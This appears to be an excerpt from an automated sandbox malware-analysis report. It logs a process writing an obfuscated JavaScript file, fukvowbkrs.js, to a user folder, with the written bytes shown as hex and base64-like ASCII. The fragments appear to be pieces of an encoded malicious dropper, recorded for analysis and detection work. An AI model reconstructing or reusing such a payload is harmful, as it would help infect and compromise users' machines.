63 77 58 48 67 32 51 
6c 78 34 4e 6b 46 63 
65 44 4a 47 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 33 4f 46 78 34 
4e 54 68 63 65 44 52 
42 58 48 67 32 51 56 
78 34 4d 

RceDU1XHgzN1x4NEZce
DY1XHg2RFx4
NTBceDc0XHgzOFx4NkN
ceDU2XHg1N1
x4NzVceDYzXHg2Qlx4NT
ZceDU2XHg1
N1x4NDhceDY0XHg2NVx
4NzZceDM3XH
g1MVx4NzVceDQ2XHg2R
Vx4MzZceDc4
XHg3NVx4NTZceDUxXHg
zMFx4NzJceD
ZDXHg1QVx4MzJceDcwX
Hg2Qlx4NkFc
eDJGXHgzRVx4MjVceDQ
wXHg3OFx4NT
hceDRBXHg2QVx4M

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 56 63 65 44 51 77 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 30 52 6c 
78 34 4e 54 46 63 65 
44 51 31 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 51 77 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 30 4e 6c 78 
34 4e 44 4a 63 65 44 
52 44 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
33 4e 31 78 34 4e 54 
46 63 65 44 55 31 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 32 
4e 31 78 34 4e 44 6c 
63 65 44 51 7a 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 30 4d 31 78 
34 4e 6a 4a 63 65 44 
51 32 58 48 67 32 51 
31 78 34 4e 6a 52 63 
65 44 55 7a 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 7a 52 56 
78 34 4d 

VceDQwXHgzRVx4MjVce
DQwXHg0Rlx4
NTFceDQ1XHgzRVx4MjV
ceDQwXHgzRV
x4MjVceDQwXHg0Nlx4ND
JceDRDXHgz
RVx4MjVceDQwXHg3N1x
4NTFceDU1XH
gzRVx4MjVceDQwXHgzR
Vx4MjVceDQw
XHg2N1x4NDlceDQzXHgz
RVx4MjVceD
QwXHg0M1x4NjJceDQ2X
Hg2Q1x4NjRc
eDUzXHgzRVx4MjVceDQ
wXHgzRVx4Mj
VceDQwXHgzRVx4M

success or wait 5 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
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C:\Users\user\fukvowbkrs.js unknown 1024 6c 63 65 44 55 77 58 
48 67 31 4d 6c 78 34 
4d 30 56 63 65 44 49 
31 58 48 67 30 4d 46 
78 34 4d 7a 42 63 65 
44 4d 30 58 48 67 33 
4f 56 78 34 4d 6b 4a 
63 65 44 55 34 58 48 
67 32 4e 6c 78 34 4d 
6b 4a 63 65 44 4a 43 
58 48 67 31 4e 46 78 
34 4e 45 4a 63 65 44 
59 79 58 48 67 79 52 
6c 78 34 4d 7a 4a 63 
65 44 63 32 58 48 67 
79 52 6c 78 34 4d 7a 
68 63 65 44 55 78 58 
48 67 32 52 56 78 34 
4e 6a 6d 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 5a 44 58 48 67 30 
52 6c 78 34 4e 44 4a 
63 65 44 55 33 58 48 
67 30 4e 31 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 6a 6d 63 65 44 
52 45 58 48 67 30 4d 
6c 78 34 4e 54 46 63 
65 44 55 35 58 48 67 
32 4e 46 78 34 4e 54 
56 63 65 44 51 7a 58 
48 67 30 4f 56 78 34 
4e 44 6c 63 65 44 59 
33 58 48 67 31 4e 46 
78 34 4e 

lceDUwXHg1Mlx4M0VceD
I1XHg0MFx4
MzBceDM0XHg3OVx4MkJ
ceDU4XHg2Nl
x4MkJceDJCXHg1NFx4N
EJceDYyXHgy
Rlx4MzJceDc2XHgyRlx4M
zhceDUxXH
g2RVx4NjmceDNFXHgyN
Vx4NDBceDZD
XHg0Rlx4NDJceDU3XHg0
N1x4M0VceD
I1XHg0MFx4NjmceDREX
Hg0Mlx4NTFc
eDU5XHg2NFx4NTVceDQ
zXHg0OVx4ND
lceDY3XHg1NFx4N

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 56 63 65 44 51 33 58 
48 67 7a 4e 6c 78 34 
4d 30 56 63 65 44 49 
31 58 48 67 30 4d 46 
78 34 4d 7a 52 63 65 
44 63 78 58 48 67 30 
4d 6c 78 34 4e 45 56 
63 65 44 63 33 58 48 
67 7a 4e 46 78 34 4e 
6a 6d 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
51 30 58 48 67 30 51 
56 78 34 4e 45 5a 63 
65 44 59 35 58 48 67 
33 4f 56 78 34 4e 6a 
56 63 65 44 4d 34 58 
48 67 30 51 56 78 34 
4e 54 52 63 65 44 63 
33 58 48 67 32 51 6c 
78 34 4e 7a 46 63 65 
44 63 7a 58 48 67 7a 
4e 31 78 34 4e 6a 5a 
63 65 44 5a 43 58 48 
67 30 51 31 78 34 4e 
6b 52 63 65 44 63 31 
58 48 67 7a 4f 56 78 
34 4e 6b 5a 63 65 44 
55 77 58 48 67 32 4e 
56 78 34 4e 45 5a 63 
65 44 5a 46 58 48 67 
32 4e 56 78 34 4e 7a 
42 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 51 
34 58 48 67 31 4f 56 
78 34 4e 

VceDQ3XHgzNlx4M0Vce
DI1XHg0MFx4
MzRceDcxXHg0Mlx4NEVc
eDc3XHgzNF
x4NjmceDNFXHgyNVx4N
DBceDQ0XHg0
QVx4NEZceDY5XHg3OVx
4NjVceDM4XH
g0QVx4NTRceDc3XHg2Ql
x4NzFceDcz
XHgzN1x4NjZceDZCXHg0
Q1x4NkRceD
c1XHgzOVx4NkZceDUwX
Hg2NVx4NEZc
eDZFXHg2NVx4NzBceDN
FXHgyNVx4ND
BceDQ4XHg1OVx4N

success or wait 3 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
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C:\Users\user\fukvowbkrs.js unknown 1024 6d 63 65 44 4d 78 58 
48 67 32 4f 56 78 34 
4e 6a 4a 63 65 44 63 
35 58 48 67 7a 4f 56 
78 34 4e 7a 56 63 65 
44 59 79 58 48 67 32 
52 46 78 34 4e 54 4a 
63 65 44 5a 45 58 48 
67 31 51 56 78 34 4e 
44 6d 63 65 44 56 42 
58 48 67 32 52 46 78 
34 4e 55 46 63 65 44 
51 7a 58 48 67 7a 4e 
56 78 34 4e 6b 46 63 
65 44 59 79 58 48 67 
30 4e 31 78 34 4e 44 
5a 63 65 44 6d 42 58 
48 67 32 4d 31 78 34 
4d 6b 4a 63 65 44 4d 
78 58 48 67 31 4f 56 
78 34 4e 6a 56 63 65 
44 4d 7a 58 48 67 33 
4e 31 78 34 4e 54 56 
63 65 44 4d 78 58 48 
67 31 4d 6c 78 34 4e 
54 68 63 65 44 4a 43 
58 48 67 31 51 56 78 
34 4e 6b 52 63 65 44 
59 30 58 48 67 7a 4d 
31 78 34 4e 55 46 63 
65 44 4d 7a 58 48 67 
31 4f 56 78 34 4e 7a 
6c 63 65 44 59 31 58 
48 67 31 4d 31 78 34 
4d 7a 4a 63 65 44 51 
31 58 48 67 30 52 46 
78 34 4e 

mceDMxXHg2OVx4NjJce
Dc5XHgzOVx4
NzVceDYyXHg2RFx4NTJ
ceDZEXHg1QV
x4NDmceDVBXHg2RFx4N
UFceDQzXHgz
NVx4NkFceDYyXHg0N1x
4NDZceDmBXH
g2M1x4MkJceDMxXHg1O
Vx4NjVceDMz
XHg3N1x4NTVceDMxXHg
1Mlx4NThceD
JCXHg1QVx4NkRceDY0X
HgzM1x4NUFc
eDMzXHg1OVx4NzlceDY
1XHg1M1x4Mz
JceDQ1XHg0RFx4N

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 56 63 65 44 63 33 58 
48 67 32 51 31 78 34 
4e 6b 5a 63 65 44 51 
34 58 48 67 32 52 56 
78 34 4e 54 4a 63 65 
44 59 35 58 48 67 33 
4e 46 78 34 4e 44 52 
63 65 44 63 35 58 48 
67 30 52 56 78 34 4e 
54 6d 63 65 44 4d 79 
58 48 67 31 4f 46 78 
34 4e 7a 52 63 65 44 
4d 33 58 48 67 31 4e 
6c 78 34 4e 7a 56 63 
65 44 4d 79 58 48 67 
33 4e 46 78 34 4d 7a 
6d 63 65 44 59 31 58 
48 67 30 52 6c 78 34 
4e 6b 4a 63 65 44 4a 
43 58 48 67 32 52 6c 
78 34 4e 54 42 63 65 
44 51 30 58 48 67 32 
4d 6c 78 34 4e 6b 5a 
63 65 44 63 79 58 48 
67 33 4d 56 78 34 4e 
7a 6c 63 65 44 55 34 
58 48 67 33 4f 56 78 
34 4e 45 4a 63 65 44 
51 30 58 48 67 31 51 
56 78 34 4e 54 68 63 
65 44 6d 42 58 48 67 
31 4d 46 78 34 4e 45 
4e 63 65 44 5a 47 58 
48 67 31 4e 6c 78 34 
4e 55 46 63 65 44 52 
44 58 48 67 30 52 56 
78 34 4e 

VceDc3XHg2Q1x4NkZceD
Q4XHg2RVx4
NTJceDY5XHg3NFx4NDR
ceDc5XHg0RV
x4NTmceDMyXHg1OFx4N
zRceDM3XHg1
Nlx4NzVceDMyXHg3NFx4
MzmceDY1XH
g0Rlx4NkJceDJCXHg2Rlx
4NTBceDQ0
XHg2Mlx4NkZceDcyXHg3
MVx4NzlceD
U4XHg3OVx4NEJceDQ0X
Hg1QVx4NThc
eDmBXHg1MFx4NENceD
ZGXHg1Nlx4NU
FceDRDXHg0RVx4N

success or wait 3 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
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C:\Users\user\fukvowbkrs.js unknown 1024 6d 63 65 44 63 77 58 
48 67 7a 4d 31 78 34 
4e 44 6d 63 65 44 4a 
47 58 48 67 7a 4d 56 
78 34 4e 6a 68 63 65 
44 55 35 58 48 67 7a 
4d 31 78 34 4e 6a 4e 
63 65 44 5a 43 58 48 
67 7a 4d 56 78 34 4e 
55 46 63 65 44 59 34 
58 48 67 30 52 46 78 
34 4e 54 4a 63 65 44 
5a 46 58 48 67 33 4e 
56 78 34 4e 6a 6c 63 
65 44 55 77 58 48 67 
31 4e 46 78 34 4d 7a 
4e 63 65 44 55 79 58 
48 67 32 51 31 78 34 
4e 55 46 63 65 44 63 
34 58 48 67 30 4d 6c 
78 34 4e 7a 46 63 65 
44 52 42 58 48 67 33 
4e 31 78 34 4e 6a 6c 
63 65 44 4d 32 58 48 
67 33 4f 56 78 34 4e 
6a 68 63 65 44 63 77 
58 48 67 31 4e 31 78 
34 4e 6b 5a 63 65 44 
4d 7a 58 48 67 33 4e 
46 78 34 4e 7a 46 63 
65 44 59 31 58 48 67 
7a 4e 56 78 34 4e 7a 
4a 63 65 44 55 30 58 
48 67 31 4e 31 78 34 
4e 7a 52 63 65 44 5a 
44 58 48 67 7a 4d 46 
78 34 4e 

mceDcwXHgzM1x4NDmc
eDJGXHgzMVx4
NjhceDU5XHgzM1x4NjNc
eDZCXHgzMV
x4NUFceDY4XHg0RFx4N
TJceDZFXHg3
NVx4NjlceDUwXHg1NFx4
MzNceDUyXH
g2Q1x4NUFceDc4XHg0Ml
x4NzFceDRB
XHg3N1x4NjlceDM2XHg3
OVx4NjhceD
cwXHg1N1x4NkZceDMzX
Hg3NFx4NzFc
eDY1XHgzNVx4NzJceDU
0XHg1N1x4Nz
RceDZDXHgzMFx4N

success or wait 4 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 52 63 65 44 5a 43 58 
48 67 30 52 46 78 34 
4e 7a 42 63 65 44 4d 
78 58 48 67 32 52 6c 
78 34 4e 54 4a 63 65 
44 4d 78 58 48 67 31 
4e 31 78 34 4e 44 4a 
63 65 44 63 34 58 48 
67 30 52 6c 78 34 4e 
54 68 63 65 44 5a 44 
58 48 67 31 4f 46 78 
34 4d 6b 4a 63 65 44 
55 33 58 48 67 30 52 
46 78 34 4d 7a 4e 63 
65 44 55 33 58 48 67 
32 4e 46 78 34 4e 7a 
4a 63 65 44 51 7a 58 
48 67 33 4d 6c 78 34 
4e 7a 5a 63 65 44 52 
45 58 48 67 33 4e 56 
78 34 4d 6b 5a 63 65 
44 63 32 58 48 67 7a 
4d 31 78 34 4e 45 46 
63 65 44 55 33 58 48 
67 30 4e 6c 78 34 4e 
6b 46 63 65 44 51 33 
58 48 67 7a 4f 46 78 
34 4e 6b 56 63 65 44 
63 33 58 48 67 30 4d 
6c 78 34 4d 7a 4a 63 
65 44 6d 42 58 48 67 
31 4f 46 78 34 4d 7a 
6d 63 65 44 63 35 58 
48 67 32 4f 56 78 34 
4d 7a 4e 63 65 44 55 
79 58 48 67 7a 4d 31 
78 34 4e 

RceDZCXHg0RFx4NzBce
DMxXHg2Rlx4
NTJceDMxXHg1N1x4NDJ
ceDc4XHg0Rl
x4NThceDZDXHg1OFx4M
kJceDU3XHg0
RFx4MzNceDU3XHg2NFx
4NzJceDQzXH
g3Mlx4NzZceDREXHg3N
Vx4MkZceDc2
XHgzM1x4NEFceDU3XHg
0Nlx4NkFceD
Q3XHgzOFx4NkVceDc3X
Hg0Mlx4MzJc
eDmBXHg1OFx4MzmceD
c5XHg2OVx4Mz
NceDUyXHgzM1x4N

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 704 4a 63 65 44 63 77 58 
48 67 7a 4e 46 78 34 
4e 45 52 63 65 44 5a 
45 58 48 67 33 4d 6c 
78 34 4e 7a 56 63 65 
44 4d 79 58 48 67 7a 
4f 56 78 34 4e 6a 68 
63 65 44 51 30 58 48 
67 7a 4e 31 78 34 4e 
6a 6c 63 65 44 5a 45 
58 48 67 7a 4d 46 78 
34 4d 7a 4a 63 65 44 
55 33 58 48 67 79 52 
6c 78 34 4e 54 4a 63 
65 44 55 32 58 48 67 
32 4f 46 78 34 4e 54 
4e 63 65 44 63 31 58 
48 67 32 52 46 78 34 
4e 54 6c 63 65 44 4d 
7a 58 48 67 33 4d 6c 
78 34 4d 7a 6c 63 65 
44 5a 46 58 48 67 31 
4e 31 78 34 4e 6a 4a 
63 65 44 59 32 58 48 
67 31 4e 6c 78 34 4e 
54 6c 63 65 44 4d 34 
58 48 67 32 51 31 78 
34 4e 54 4e 63 65 44 
63 35 58 48 67 31 4e 
6c 78 34 4e 6b 4e 63 
65 44 5a 47 58 48 67 
32 4d 56 78 34 4e 55 
46 63 65 44 55 34 58 
48 67 33 4e 56 78 34 
4d 7a 52 63 65 44 59 
35 58 48 67 33 4d 46 
78 34 4e 

JceDcwXHgzNFx4NERce
DZEXHg3Mlx4
NzVceDMyXHgzOVx4Njhc
eDQ0XHgzN1
x4NjlceDZEXHgzMFx4Mz
JceDU3XHgy
Rlx4NTJceDU2XHg2OFx4
NTNceDc1XH
g2RFx4NTlceDMzXHg3Ml
x4MzlceDZF
XHg1N1x4NjJceDY2XHg1
Nlx4NTlceD
M4XHg2Q1x4NTNceDc5X
Hg1Nlx4NkNc
eDZGXHg2MVx4NUFceD
U4XHg3NVx4Mz
RceDY5XHg3MFx4N

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 68 63 65 44 4a 43 58 
48 67 31 4d 56 78 34 
4e 45 56 63 65 44 4d 
30 58 48 67 33 4f 46 
78 34 4e 6b 46 63 65 
44 59 33 58 48 67 31 
4e 46 78 34 4d 7a 5a 
63 65 44 52 43 58 48 
67 32 51 56 78 34 4e 
54 4e 63 65 44 51 32 
58 48 67 32 52 56 78 
34 4e 7a 6d 63 65 44 
4d 79 58 48 67 30 4e 
56 78 34 4e 44 56 63 
65 44 59 34 58 48 67 
32 52 56 78 34 4e 44 
4e 63 65 44 63 77 58 
48 67 31 4f 46 78 34 
4e 7a 6d 63 65 44 6d 
42 58 48 67 33 4d 31 
78 34 4e 6a 4e 63 65 
44 51 33 58 48 67 31 
51 56 78 34 4e 7a 6d 
63 65 44 5a 45 58 48 
67 32 4d 6c 78 34 4d 
7a 6d 63 65 44 59 78 
58 48 67 32 4d 31 78 
34 4e 54 46 63 65 44 
59 7a 58 48 67 33 4d 
56 78 34 4e 7a 68 63 
65 44 5a 42 58 48 67 
30 4e 31 78 34 4e 54 
68 63 65 44 63 30 58 
48 67 30 51 6c 78 34 
4e 7a 4e 63 65 44 59 
32 58 48 67 7a 4d 46 
78 34 4e 

hceDJCXHg1MVx4NEVce
DM0XHg3OFx4
NkFceDY3XHg1NFx4MzZ
ceDRCXHg2QV
x4NTNceDQ2XHg2RVx4N
zmceDMyXHg0
NVx4NDVceDY4XHg2RVx
4NDNceDcwXH
g1OFx4NzmceDmBXHg3
M1x4NjNceDQ3
XHg1QVx4NzmceDZEXH
g2Mlx4MzmceD
YxXHg2M1x4NTFceDYzX
Hg3MVx4Nzhc
eDZBXHg0N1x4NThceDc0
XHg0Qlx4Nz
NceDY2XHgzMFx4N

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 42 63 65 44 5a 45 58 
48 67 31 4f 56 78 34 
4e 7a 6d 63 65 44 55 
31 58 48 67 33 4d 46 
78 34 4d 6b 5a 63 65 
44 55 78 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 51 77 58 48 
67 7a 4f 56 78 34 4e 
6b 52 63 65 44 59 31 
58 48 67 33 4f 46 78 
34 4e 6b 52 63 65 44 
51 31 58 48 67 30 4e 
31 78 34 4e 7a 5a 63 
65 44 55 7a 58 48 67 
33 4e 56 78 34 4e 6a 
4e 63 65 44 59 30 58 
48 67 31 4e 46 78 34 
4e 7a 4a 63 65 44 51 
32 58 48 67 30 4f 46 
78 34 4e 44 52 63 65 
44 56 42 58 48 67 30 
4e 56 78 34 4e 54 46 
63 65 44 55 78 58 48 
67 31 4d 46 78 34 4e 
44 6c 63 65 44 6d 42 
58 48 67 32 4f 56 78 
34 4e 45 4a 63 65 44 
59 35 58 48 67 7a 4d 
46 78 34 4e 6a 4e 63 
65 44 4d 32 58 48 67 
31 4d 6c 78 34 4e 6a 
6c 63 65 44 59 35 58 
48 67 33 4d 46 78 34 
4e 45 4a 63 65 44 63 
30 58 48 67 33 4f 56 
78 34 4e 

BceDZEXHg1OVx4Nzmce
DU1XHg3MFx4
MkZceDUxXHgzRVx4MjV
ceDQwXHgzOV
x4NkRceDY1XHg3OFx4N
kRceDQ1XHg0
N1x4NzZceDUzXHg3NVx
4NjNceDY0XH
g1NFx4NzJceDQ2XHg0O
Fx4NDRceDVB
XHg0NVx4NTFceDUxXHg
1MFx4NDlceD
mBXHg2OVx4NEJceDY5
XHgzMFx4NjNc
eDM2XHg1Mlx4NjlceDY5
XHg3MFx4NE
JceDc0XHg3OVx4N

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 5a 63 65 44 4d 30 58 
48 67 30 52 46 78 34 
4d 7a 6d 63 65 44 59 
7a 58 48 67 32 4e 56 
78 34 4e 7a 52 63 65 
44 59 79 58 48 67 31 
4d 6c 78 34 4e 6a 56 
63 65 44 59 33 58 48 
67 31 4d 6c 78 34 4e 
7a 46 63 65 44 52 44 
58 48 67 7a 4d 6c 78 
34 4e 7a 5a 63 65 44 
51 35 58 48 67 31 4f 
56 78 34 4e 44 6c 63 
65 44 52 46 58 48 67 
31 4f 46 78 34 4e 7a 
6c 63 65 44 52 43 58 
48 67 32 4e 56 78 34 
4d 7a 68 63 65 44 63 
77 58 48 67 30 4e 56 
78 34 4e 44 68 63 65 
44 5a 46 58 48 67 33 
4d 31 78 34 4e 54 4e 
63 65 44 52 45 58 48 
67 32 4d 6c 78 34 4e 
7a 42 63 65 44 63 78 
58 48 67 31 51 56 78 
34 4e 6b 52 63 65 44 
52 42 58 48 67 7a 4d 
46 78 34 4e 54 5a 63 
65 44 59 78 58 48 67 
31 4d 46 78 34 4d 7a 
4e 63 65 44 51 34 58 
48 67 30 51 56 78 34 
4e 54 6c 63 65 44 4d 
33 58 48 67 32 51 56 
78 34 4d 

ZceDM0XHg0RFx4Mzmce
DYzXHg2NVx4
NzRceDYyXHg1Mlx4NjVc
eDY3XHg1Ml
x4NzFceDRDXHgzMlx4Nz
ZceDQ5XHg1
OVx4NDlceDRFXHg1OFx
4NzlceDRCXH
g2NVx4MzhceDcwXHg0N
Vx4NDhceDZF
XHg3M1x4NTNceDREXHg
2Mlx4NzBceD
cxXHg1QVx4NkRceDRBX
HgzMFx4NTZc
eDYxXHg1MFx4MzNceD
Q4XHg0QVx4NT
lceDM3XHg2QVx4M

success or wait 4 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 6d 63 65 44 59 30 58 
48 67 32 4e 46 78 34 
4e 44 6c 63 65 44 55 
33 58 48 67 30 4f 56 
78 34 4d 7a 6d 63 65 
44 59 7a 58 48 67 30 
4f 46 78 34 4e 6a 52 
63 65 44 51 7a 58 48 
67 33 4d 46 78 34 4d 
7a 56 63 65 44 55 77 
58 48 67 32 52 56 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4e 54 68 63 
65 44 4a 43 58 48 67 
7a 4d 6c 78 34 4e 6b 
5a 63 65 44 4a 47 58 
48 67 31 4d 31 78 34 
4e 44 6d 63 65 44 51 
31 58 48 67 30 4e 46 
78 34 4e 7a 56 63 65 
44 63 30 58 48 67 30 
52 56 78 34 4e 6a 4a 
63 65 44 59 78 58 48 
67 7a 4d 46 78 34 4e 
6a 56 63 65 44 6d 42 
58 48 67 32 4d 56 78 
34 4e 7a 6c 63 65 44 
51 30 58 48 67 31 4e 
46 78 34 4e 45 52 63 
65 44 59 79 58 48 67 
32 51 6c 78 34 4d 7a 
46 63 65 44 55 32 58 
48 67 7a 4e 46 78 34 
4e 45 56 63 65 44 63 
77 58 48 67 31 4e 6c 
78 34 4d 

mceDY0XHg2NFx4NDlce
DU3XHg0OVx4
MzmceDYzXHg0OFx4NjR
ceDQzXHg3MF
x4MzVceDUwXHg2RVx4
M0VceDI1XHg0
MFx4NThceDJCXHgzMlx4
NkZceDJGXH
g1M1x4NDmceDQ1XHg0N
Fx4NzVceDc0
XHg0RVx4NjJceDYxXHgz
MFx4NjVceD
mBXHg2MVx4NzlceDQ0X
Hg1NFx4NERc
eDYyXHg2Qlx4MzFceDU2
XHgzNFx4NE
VceDcwXHg1Nlx4M

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4a 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 59 
35 58 48 67 30 52 56 
78 34 4e 44 5a 63 65 
44 63 33 58 48 67 32 
4e 56 78 34 4e 6a 4e 
63 65 44 5a 42 58 48 
67 30 51 31 78 34 4d 
7a 6c 63 65 44 52 46 
58 48 67 30 51 6c 78 
34 4e 6a 5a 63 65 44 
55 35 58 48 67 33 4d 
46 78 34 4e 44 52 63 
65 44 5a 45 58 48 67 
32 4e 46 78 34 4e 54 
52 63 65 44 55 33 58 
48 67 30 52 56 78 34 
4d 7a 52 63 65 44 51 
33 58 48 67 7a 4d 31 
78 34 4e 44 6d 63 65 
44 55 78 58 48 67 33 
4e 6c 78 34 4e 45 4e 
63 65 44 5a 42 58 48 
67 30 4f 56 78 34 4e 
45 4a 63 65 44 52 47 
58 48 67 31 4d 56 78 
34 4e 6b 52 63 65 44 
63 30 58 48 67 7a 4d 
56 78 34 4e 7a 4e 63 
65 44 63 77 58 48 67 
32 4e 31 78 34 4e 54 
46 63 65 44 52 43 58 
48 67 31 4e 46 78 34 
4e 7a 68 63 65 44 63 
78 58 48 67 30 4e 6c 
78 34 4e 

JceDNFXHgyNVx4NDBce
DY5XHg0RVx4
NDZceDc3XHg2NVx4NjNc
eDZBXHg0Q1
x4MzlceDRFXHg0Qlx4NjZ
ceDU5XHg3
MFx4NDRceDZEXHg2NFx
4NTRceDU3XH
g0RVx4MzRceDQ3XHgzM
1x4NDmceDUx
XHg3Nlx4NENceDZBXHg
0OVx4NEJceD
RGXHg1MVx4NkRceDc0X
HgzMVx4NzNc
eDcwXHg2N1x4NTFceDR
CXHg1NFx4Nz
hceDcxXHg0Nlx4N

success or wait 5 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 4e 63 65 44 51 79 58 
48 67 31 4d 46 78 34 
4e 54 6d 63 65 44 55 
78 58 48 67 32 4d 56 
78 34 4e 7a 6d 63 65 
44 51 35 58 48 67 30 
4e 6c 78 34 4e 6b 4e 
63 65 44 4d 78 58 48 
67 30 51 56 78 34 4e 
45 5a 63 65 44 5a 43 
58 48 67 33 51 56 78 
34 4e 6a 6d 63 65 44 
4d 30 58 48 67 33 4d 
56 78 34 4e 54 5a 63 
65 44 4d 33 58 48 67 
30 4e 56 78 34 4e 7a 
6d 63 65 44 5a 45 58 
48 67 30 4e 31 78 34 
4d 7a 52 63 65 44 59 
35 58 48 67 31 4f 56 
78 34 4e 6a 4e 63 65 
44 63 79 58 48 67 30 
4e 6c 78 34 4e 45 52 
63 65 44 4d 34 58 48 
67 30 51 6c 78 34 4e 
7a 52 63 65 44 55 34 
58 48 67 31 4f 56 78 
34 4e 6a 56 63 65 44 
4a 47 58 48 67 32 4e 
56 78 34 4e 7a 4e 63 
65 44 4a 47 58 48 67 
7a 4e 56 78 34 4e 54 
42 63 65 44 52 44 58 
48 67 30 52 46 78 34 
4e 54 56 63 65 44 51 
33 58 48 67 7a 4e 6c 
78 34 4d 

NceDQyXHg1MFx4NTmce
DUxXHg2MVx4
NzmceDQ5XHg0Nlx4NkN
ceDMxXHg0QV
x4NEZceDZCXHg3QVx4N
jmceDM0XHg3
MVx4NTZceDM3XHg0NV
x4NzmceDZEXH
g0N1x4MzRceDY5XHg1O
Vx4NjNceDcy
XHg0Nlx4NERceDM4XHg
0Qlx4NzRceD
U4XHg1OVx4NjVceDJGX
Hg2NVx4NzNc
eDJGXHgzNVx4NTBceDR
DXHg0RFx4NT
VceDQ3XHgzNlx4M

success or wait 4 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 68 63 65 44 59 34 58 
48 67 30 51 56 78 34 
4e 6a 4e 63 65 44 63 
34 58 48 67 31 4d 31 
78 34 4d 7a 4e 63 65 
44 5a 42 58 48 67 31 
4f 56 78 34 4e 6a 4e 
63 65 44 59 7a 58 48 
67 30 51 56 78 34 4e 
7a 68 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
5a 46 58 48 67 30 52 
46 78 34 4e 6a 52 63 
65 44 52 42 58 48 67 
33 4f 46 78 34 4d 7a 
4a 63 65 44 55 77 58 
48 67 30 52 6c 78 34 
4d 7a 56 63 65 44 4d 
30 58 48 67 32 51 6c 
78 34 4e 54 42 63 65 
44 55 34 58 48 67 31 
4d 46 78 34 4e 7a 46 
63 65 44 55 30 58 48 
67 30 51 56 78 34 4d 
7a 56 63 65 44 55 30 
58 48 67 32 52 6c 78 
34 4e 7a 42 63 65 44 
4d 34 58 48 67 32 52 
6c 78 34 4e 54 56 63 
65 44 4d 77 58 48 67 
33 4e 56 78 34 4e 54 
56 63 65 44 59 31 58 
48 67 31 51 56 78 34 
4d 7a 42 63 65 44 4d 
30 58 48 67 33 4e 46 
78 34 4e 

hceDY4XHg0QVx4NjNceD
c4XHg1M1x4
MzNceDZBXHg1OVx4NjN
ceDYzXHg0QV
x4NzhceDNFXHgyNVx4N
DBceDZFXHg0
RFx4NjRceDRBXHg3OFx
4MzJceDUwXH
g0Rlx4MzVceDM0XHg2Ql
x4NTBceDU4
XHg1MFx4NzFceDU0XHg
0QVx4MzVceD
U0XHg2Rlx4NzBceDM4X
Hg2Rlx4NTVc
eDMwXHg3NVx4NTVceD
Y1XHg1QVx4Mz
BceDM0XHg3NFx4N

success or wait 2 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 6d 63 65 44 51 79 58 
48 67 32 4e 31 78 34 
4e 55 46 63 65 44 51 
30 58 48 67 30 4d 6c 
78 34 4e 6b 56 63 65 
44 56 42 58 48 67 7a 
4d 6c 78 34 4e 44 4a 
63 65 44 59 34 58 48 
67 31 51 56 78 34 4d 
7a 4a 63 65 44 51 79 
58 48 67 32 51 31 78 
34 4e 55 46 63 65 44 
51 33 58 48 67 30 4d 
6c 78 34 4e 6b 52 63 
65 44 55 35 58 48 67 
30 52 56 78 34 4e 30 
46 63 65 44 55 30 58 
48 67 30 4d 6c 78 34 
4e 44 6d 63 65 44 51 
79 58 48 67 33 4d 31 
78 34 4e 44 68 63 65 
44 5a 43 58 48 67 33 
4f 46 78 34 4e 44 4e 
63 65 44 52 43 58 48 
67 32 4e 6c 78 34 4e 
7a 68 63 65 44 52 46 
58 48 67 33 4f 56 78 
34 4e 6b 4a 63 65 44 
59 32 58 48 67 31 4d 
46 78 34 4d 7a 4a 63 
65 44 55 31 58 48 67 
33 4e 46 78 34 4e 44 
6c 63 65 44 63 35 58 
48 67 31 4d 31 78 34 
4e 6b 4a 63 65 44 63 
30 58 48 67 31 4e 46 
78 34 4d 

mceDQyXHg2N1x4NUFce
DQ0XHg0Mlx4
NkVceDVBXHgzMlx4NDJc
eDY4XHg1QV
x4MzJceDQyXHg2Q1x4N
UFceDQ3XHg0
Mlx4NkRceDU5XHg0RVx4
N0FceDU0XH
g0Mlx4NDmceDQyXHg3M
1x4NDhceDZC
XHg3OFx4NDNceDRCXH
g2Nlx4NzhceD
